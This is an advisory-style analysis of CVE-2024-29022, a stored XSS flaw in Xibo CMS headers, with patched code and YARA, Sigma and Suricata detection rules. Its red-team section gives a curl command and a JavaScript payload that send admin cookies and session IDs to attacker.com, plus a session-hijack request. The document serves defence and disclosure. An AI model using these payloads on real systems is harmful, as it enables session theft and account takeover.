CVE-2024-29022

Executive Summary

CVE-2024-29022 is a critical stored cross-site scripting (XSS) vulnerability in Xibo, an open-source Digital Signage platform. The flaw resides in the improper sanitization of HTTP request headers when stored in session and display tables. An attacker can inject a malicious script via these headers, which is then executed in the context of the CMS admin interface. This allows for session hijacking, exfiltration of session IDs and User Agents, and unauthorized access to display management functions. The vulnerability has a CVSS score of 8.8, indicating high severity. Patches are available in versions 3.3.10 and 4.0.9, with additional patches for older, unsupported versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed to trigger the vulnerability.
• User Interaction (UI): Required (R) - The victim must visit a crafted page or interact with the injected script.
• Scope (S): Changed (C) - The impact extends beyond the vulnerable component.
• Confidentiality (C): High (H) - Session IDs and User Agents can be exfiltrated.
• Integrity (I): High (H) - An attacker can modify session data or inject malicious content.
• Availability (A): High (H) - An attacker could disrupt display operations.

Threat Level: Critical. The combination of network attack vector, low complexity, and high impact makes this vulnerability highly exploitable for session hijacking and data exfiltration.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the Xibo CMS. The application fails to sanitize certain HTTP request headers before storing them in the session and display tables. When an admin user views the session management page or the display grid, the stored headers are rendered without proper encoding, allowing the execution of arbitrary JavaScript.

Attack Flow:

1. An attacker crafts a malicious HTTP request to the Xibo CMS, injecting a JavaScript payload into a vulnerable header (e.g., User-Agent, Referer, or custom headers).
2. The CMS stores this header value in the session or display database table.
3. When an administrator accesses the session management page or display grid, the stored header is rendered in the HTML without sanitization.
4. The injected script executes in the admin's browser, allowing the attacker to:
   • Exfiltrate session IDs and User Agents.
   • Hijack active sessions.
   • Perform actions on behalf of the admin (e.g., modify displays, create new users).
   • Steal cookies or perform further XSS attacks.

Affected Components:

• Session management page (displays active sessions and their headers).
• Display grid (lists displays and their associated data).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Storing request header without sanitization
$session->user_agent = $_SERVER['HTTP_USER_AGENT'];
$session->save();

// Rendering stored header without escaping
echo "<td>" . $session->user_agent . "</td>";

Patched Code (Conceptual):

// Sanitizing the header before storage
$session->user_agent = htmlspecialchars($_SERVER['HTTP_USER_AGENT'], ENT_QUOTES, 'UTF-8');
$session->save();

// Rendering with proper escaping
echo "<td>" . htmlspecialchars($session->user_agent, ENT_QUOTES, 'UTF-8') . "</td>";

The patch ensures that all stored header values are HTML-encoded before being rendered, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to a vulnerable Xibo CMS instance (version < 3.3.10 or < 4.0.9).
• Ability to send crafted HTTP requests to the CMS.

Exploitation Steps:

1. Craft Malicious Request: Use curl to send a request with a malicious User-Agent header.

   curl -X GET "http://target-xibo-cms/some-endpoint" \
   -H "User-Agent: <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
   

2. Trigger Storage: The CMS stores the malicious header in the session table.
3. Wait for Admin Interaction: An administrator visits the session management page.
4. Payload Execution: The injected script executes, exfiltrating session data to the attacker's server.
5. Session Hijacking: Use the stolen session ID to impersonate the admin.

   curl -X GET "http://target-xibo-cms/admin" \
   -H "Cookie: PHPSESSID=stolen_session_id"
   

Advanced Payload:

// Exfiltrate session ID and User Agent
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/exfil?session=' + document.cookie + '&ua=' + navigator.userAgent, true);
xhr.send();

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual User-Agent strings containing JavaScript or HTML tags.
• Alert on requests with suspicious headers (e.g., <script>, onerror=, javascript:).
• Use WAF rules to block requests with XSS patterns in headers.

Hunting:

• Search logs for requests with User-Agent containing <script> or onload.
• Review session table entries for encoded or suspicious header values.
• Check for outbound connections to unknown IPs from the CMS server.

Mitigation:

• Apply the patch immediately (upgrade to 3.3.10 or 4.0.9).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use input validation and output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains from the CMS server.
• Suspicious User-Agent strings containing JavaScript code.
• Unusual session IDs or multiple sessions from the same IP.

Host IOCs:

• Modified session table entries with HTML/JavaScript content.
• Unexpected files in the CMS webroot (e.g., backdoors).
• Unauthorized admin accounts or changes to display configurations.

Log IOCs:

• Web server logs showing requests with XSS patterns in headers.
• Application logs indicating failed validation attempts.
• Error logs with script execution errors.

Detection Engineering

YARA Rule

rule CVE_2024_29022_XSS_Header_Injection {
    meta:
        description = "Detects XSS payloads in HTTP headers targeting Xibo CMS"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-29022"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: XSS Header Injection in Xibo CMS
id: cve-2024-29022
status: experimental
description: Detects XSS payloads in HTTP headers targeting Xibo CMS
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in headers (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-29022 XSS Header Injection in Xibo CMS"; flow:to_server; content:"User-Agent"; nocase; http_header; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Xibo CMS to version 3.3.10 or 4.0.9.
2. Apply patches for older versions (2.3 and 1.8) if upgrade is not possible.
3. Implement WAF rules to block XSS patterns in HTTP headers.
4. Enable CSP headers to restrict script execution.

Long-term Measures:

• Conduct regular security audits of the CMS.
• Implement input validation and output encoding for all user-supplied data.
• Monitor for unusual session activity and header anomalies.
• Keep the CMS and all dependencies up to date.

Workarounds:

• No known workarounds exist; patching is required.

Valters IT